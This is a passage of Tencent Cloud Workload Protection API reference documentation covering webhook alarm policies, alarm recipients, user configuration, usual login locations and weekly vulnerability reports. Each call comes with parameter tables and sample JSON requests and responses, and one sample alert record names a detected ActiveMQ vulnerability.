"Response": {
"RequestId": "acdd5474-6360-4fd4-bfc7-843162cb8116",
"VertexDetails": [
{
"Address": "ad1",
"AlarmInfo": [
{
"AlarmId": "dd8c40c6",
"Status": 0
```

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```
}
],
"CmdLine": "curl",
"DstPort": 18888,
"FileContent": "njdskhsj",
"FileCreateTime": "2020-11-21 15:16:00",
"FileMd5": "472c65af3f43136472d1a383f5******",
"FilePath": "/var/tmp",
"HttpContent": "bodybody",
"Pid": "2534",
"ProcName": "curl",
"SrcIP": "10.0.1.92",
"Time": " 2019-12-25 11:57:15",
"Type": 0,
"User": "root",
"VertexId": "dd8c40c6737f75a0c24244d6f4fa6173",
"VulName": "Apache ActiveMQ Remote Code Execution Vulnerability (CVE-2023-46604)"
,
"VulSrcIP": "10.0.1.92",
"VulTime": "2020-11-21 15:16:00"
}
]
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DeleteWebHookPolicy

Last updated：2024-12-06 15:40:45

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete alarm policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteWebHookPolicy.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	No	Array of Integer	ID list

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteWebHookPolicy
<Common request parameters>

{
"Ids": [
39
]
}
```

Output Example

```
{
"Response": {
"RequestId": "3e94b310-dfe9-41b0-886e-4cf181e49bc0"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DeleteWebHookReceiver

Last updated：2024-12-06 15:40:45

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete the alert recipient.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteWebHookReceiver.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	No	Array of Integer	ID array

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteWebHookReceiver
<Common request parameters>

{
"Ids": [
33
]
}
```

Output Example

```
{
"Response": {
"RequestId": "e816f826-9ab1-458b-90d1-0f7e980137aa"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeRecommendedProtectCpu

Last updated：2024-12-06 15:40:29

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the recommended number of protection cores for purchase.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRecommendedProtectCpu.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRecommendedProtectCpu
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "d55bcffb-2c87-43c8-afe8-543e6a0c48aa"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeUsersConfig

Last updated：2024-12-06 15:40:17

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the user's custom configurations.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeUsersConfig.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ConfigName	Yes	String	Configuration name • license_monitor authorization monitoring configuration. 0: off; 1: on

3. Output Parameters

Parameter Name	Type	Description

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Value	String	Configuration value
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Custom Configurations of a User

This example shows you how to query custom configurations of a user.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeUsersConfig
<Common request parameters>

{
"ConfigName": "abc"
}
```

Output Example

```
{
"Response": {
"RequestId": "fd768174-3c72-4c62-8fa0-fd0106d31494",
"Value": "1"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeWebHookPolicy

Last updated：2024-12-06 15:40:14

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query alarm policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeWebHookPolicy.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filter.N	No	Array of Filter	Filter criteria
Offset	No	Integer	Offset, which defaults to 0
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]

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By	No	String	Sorting field

3. Output Parameters

Parameter Name	Type	Description
List	Array of WebHookPolicy	Policy list Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Number of policy lists
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeWebHookPolicy
<Common request parameters>

{
"Offset": 0,
"Limit": 1
}
```

Output Example

```
{
"Response": {
"List": [
{
```

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```
"CustomFields": [
{
"Key": "Machine A",
"Value": "Text"
}
],
"Events": [
{
"ControlBit": "11",
"Type": 4
},
{
"ControlBit": "11",
"Type": 13
},
{
"ControlBit": "1",
"Type": 14
},
{
"ControlBit": "",
"Type": 22
},
{
"ControlBit": "1",
"Type": 23
},
{
"ControlBit": "",
"Type": 1
},
{
"ControlBit": "11",
"Type": 3
},
{
"ControlBit": "1",
"Type": 7
},
{
"ControlBit": "1",
"Type": 12
},
{
"ControlBit": "1",
"Type": 19
},
```


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```
{
"ControlBit": "1",
"Type": 20
},
{
"ControlBit": "",
"Type": 25
},
{
"ControlBit": "1",
"Type": 8
},
{
"ControlBit": "1111",
"Type": 18
},
{
"ControlBit": "1111",
"Type": 17
},
{
"ControlBit": "11111",
"Type": 2
},
{
"ControlBit": "111",
"Type": 6
},
{
"ControlBit": "1111",
"Type": 9
},
{
"ControlBit": "1111",
"Type": 10
},
{
"ControlBit": "1111",
"Type": 11
},
{
"ControlBit": "11",
"Type": 15
},
{
"ControlBit": "1111",
"Type": 16
```


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```
},
{
"ControlBit": "1",
"Type": 21
},
{
"ControlBit": "1",
"Type": 24
}
],
"Format": 0,
"HostCount": 3,
"HostLabels": [
{
"Type": 4,
"Values": []
}
],
"Id": 38,
"IsDisabled": 0,
"Name": "Only machine a; text",
"Quuids": [
"058e0cf8-ba52-47fc-a100-2fdcc1e73e96",
"00e800cb-7202-4d83-90c2-6e920758dd42",
"380add75-bb06-4cc4-84c5-cf806d102fba"
],
"Receivers": [
{
"Addr": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=d0c2fc25-23a2-4285-ab98-d8a862146a73",
"Id": 17,
"Name": "Wecom"
}
]
}
],
"RequestId": "6933d139-3143-4590-805f-712489ea91b8",
"TotalCount": 16
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeWebHookReceiver

Last updated：2024-12-06 15:40:14

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of alarm recipients.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeWebHookReceiver.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filter.N	No	Array of Filter	Filter criteria
Offset	No	Integer	Offset, which defaults to 0
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]

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By	No	String	Sorting field

3. Output Parameters

Parameter Name	Type	Description
List	Array of WebHookReceiver	Alarm recipient list
TotalCount	Integer	Number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeWebHookReceiver
<Common request parameters>

{
"Offset": 0,
"Limit": 10
}
```

Output Example

```
{
"Response": {
"List": [
{
```

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```
"Addr": "https://testtesttesttest",
"Id": 7,
"Name": "123"
},
{
"Addr": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=cbe03861-a7c6-48cf-a34c-443c34be0db5",
"Id": 9,
"Name": "This message is sent for test purpose, and please do not delete it."
},
{
"Addr": "https://mybot1211",
"Id": 11,
"Name": "bot1"
},
{
"Addr": "http://",
"Id": 12,
"Name": "12345678901234567890"
},
{
"Addr": "https://",
"Id": 13,
"Name": "123"
},
{
"Addr": "https://dd",
"Id": 14,
"Name": "123dsf..."
},
{
"Addr": "http://alarm",
"Id": 15,
"Name": "Alarm"
},
{
"Addr": "http://11",
"Id": 16,
"Name": "1"
},
{
"Addr": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=d0c2fc25-23a2-4285-ab98-d8a862146a73",
"Id": 17,
"Name": "WeCom"
},
{
```


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```
"Addr": "Example",
"Id": 18,
"Name": "Example"
}
],
"RequestId": "a1fd9261-58a8-4947-877d-222198eeeb56",
"TotalCount": 14
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeWebHookReceiverUsage

Last updated：2024-12-06 15:40:13

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the usage of policies associated with the specified alarm recipient.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeWebHookReceiverUsage.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
List.N	No	Array of WebHookReceiver	Alarm recipient list

3. Output Parameters

Parameter Name	Type	Description

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List	Array of WebHookReceiverUsage	Usage information on associated policies of the alarm recipient
TotalCount	Integer	Number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeWebHookReceiverUsage
<Common request parameters>

{
"List": [
{
"Id": 28
}
]
}
```

Output Example

```
{
"Response": {
"List": [
{
"PolicyName": "Identical IM machine a and b",
"ReceiverId": 28,
"ReceiverName": "name example"
},
{
"PolicyName": "Identical IM machine a and b",
```

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```
"ReceiverId": 28,
"ReceiverName": "name example"
},
{
"PolicyName": "policy example",
"ReceiverId": 28,
"ReceiverName": "name example"
},
{
"PolicyName": "Test 1",
"ReceiverId": 28,
"ReceiverName": "name example"
}
],
"RequestId": "ae5722b3-3c64-4c8c-b1ad-b8e13bdbfcc7",
"TotalCount": 4
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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ModifyUsersConfig

Last updated：2024-12-06 15:40:07

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to create or modify user custom settings.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyUsersConfig.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ConfigName	Yes	String	Configuration name • license_monitor new authorization monitoring configuration: 0 - disable, 1 - enable
ConfigValue	Yes	String	Configuration value

3. Output Parameters

Parameter	Type	Description

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Name		
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Adding/Modifying Configurations

This example shows you how to modify custom configurations.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyUsersConfig
<Common request parameters>

{
"ConfigName": "add_license_monitor",
"ConfigValue": "1"
}
```

Output Example

```
{
"Response": {
"RequestId": "621b6063-12b2-43fa-809e-5481c8374op0"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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ModifyWebHookPolicy

Last updated：2024-12-06 15:40:06

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to add or modify alarm policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyWebHookPolicy.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	No	Integer	id
Name	No	String	Policy name
Events.N	No	Array of WebHookEventKv	Event type
HostLabels.N	No	Array of WebHookHostLabel	Host range

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Receivers.N	No	Array of WebHookReceiver	Recipient
Format	No	Integer	Format. 0: text; 1: JSON.
CustomFields.N	No	Array of WebHookCustomField	Custom passthrough field
IsDisabled	No	Integer	Enable/Disable [1-Disable, 0-Enable]
Quuids.N	No	Array of String	Host list
ExcludedQuuids.N	No	Array of String	

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyWebHookPolicy
<Common request parameters>

{
"Id": 60,
"Name": "2131",
"Format": 0,
"IsDisabled": 0
}
```

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Output Example

```
{
"Response": {
"RequestId": "d0ab5e8d-6bef-412a-8541-2780f76dd60e"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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ModifyWebHookPolicyStatus

Last updated：2024-12-06 15:40:05

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the alarm policy switch.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyWebHookPolicyStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	id
IsDisabled	No	Integer	Switch: 1 - disabled; 0 - enabled

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyWebHookPolicyStatus
<Common request parameters>

{
"Id": 40,
"IsDisabled": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "ea15a2e9-d075-4a13-bbf8-ab22d8d6c559"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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ModifyWebHookReceiver

Last updated：2024-12-06 15:40:05

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to add or update the alarm recipient.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyWebHookReceiver.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	No	Integer	id
Name	No	String	Receiver name
Addr	No	String	webhook URL
IsModify	No	Boolean	Whether to modify

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyWebHookReceiver
<Common request parameters>

{
"Id": 33,
"Name": "2",
"Addr": "http://21147",
"IsModify": true
}
```

Output Example

```
{
"Response": {
"RequestId": "b24a145a-a2d3-4c17-8019-576ebb12823f"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.

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DeleteUsualLoginPlaces

Last updated：2020-07-31 11:18:46

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to delete one or more usual login locations.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DeleteUsualLoginPlaces.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuid	Yes	String	CWP agent `Uuid`
CityIds.N	Yes	Array of Integer	Added usual login city ID array

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Deleting usual login location

This example shows you how to delete a usual login location.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DeleteUsualLoginPlaces
&Uuid=add4a78a-0d59-11e8-b7ab-00e081e1a5c5
&CityIds.0=22
&CityIds.1=33
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using TencentCloud APIs.

- API 3.0 Explorer

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Parameter parsing error.
MissingParameter	Missing parameter.

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CreateUsualLoginPlaces

Last updated：2020-07-31 11:18:48

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to add one or more usual login locations.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: CreateUsualLoginPlaces.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuids.N	Yes	Array of String	CWP agent `UUID` array.
Places.N	Yes	Array of Place	Login region information array.

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Adding usual login location

This example shows you how to add a usual login location.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=CreateUsualLoginPlaces
&Uuid.0=add4a78a-0d59-11e8-b7ab-00e081e1a5c5
&Areas.0.CityId=1
&Areas.0.ProvinceId=1
&Areas.0.CountryId=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Parameter parsing error.
LimitExceeded.AreaQuota	The maximum number of entries to be added in batches is exceeded.
MissingParameter	Missing parameter.

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CloseProVersion

Last updated：2020-09-11 10:41:07

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to deactivate CWP Pro.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: CloseProVersion.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Quuid	No	String	Server `Uuid`. `InstanceId` for BM or `Uuid` for CVM

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

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4. Example

Example1 Deactivates CWP Pro

This example shows you how to deactivate CWP Pro.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=CloseProVersion
&Quuid=add4a78a-0d59-11e8-b7ab-00e081e1a5c5
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.CloseProVersion	Failed to deactivate CWP Pro.
FailedOperation.OpenProVersion	Failed to activate CWP Pro.
FailedOperation.PrePayMode	Unable to disable the prepaid Pro edition. Please disable it in Billing Center.
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Parameter parsing error.
MissingParameter	Missing parameter.

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DescribeWeeklyReports

Last updated：2020-07-31 11:18:43

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the weekly report list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeWeeklyReports.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.

3. Output Parameters

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Parameter Name	Type	Description
WeeklyReports	Array of WeeklyReport	Weekly CWP Pro report list array.
TotalCount	Integer	Total number of records.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting weekly CWP Pro report list

This example shows you how to get the weekly CWP Pro report list.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeWeeklyReports
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"WeeklyReports": [
{
"BeginDate": "2018-10-08",
"EndDate": "2018-10-14"
}
],
"TotalCount": 10
}
}
```

5. Developer Resources

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API Explorer

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SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.

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DescribeWeeklyReportVuls

Last updated：2020-07-31 11:18:43

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the vulnerability data in the weekly CWP Pro report.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeWeeklyReportVuls.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
BeginDate	Yes	Date	Weekly CWP Pro report start time.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.

3. Output Parameters

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Parameter Name	Type	Description
WeeklyReportVuls	Array of WeeklyReportVul	Vulnerability data array in weekly CWP Pro report.
TotalCount	Integer	Total number of records.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting vulnerability data in weekly CWP Pro report

This example shows you how to get the vulnerability data in the weekly CWP Pro report.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeWeeklyReportVuls
&BeginDate=2018-10-08
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"WeeklyReportVuls": [
{
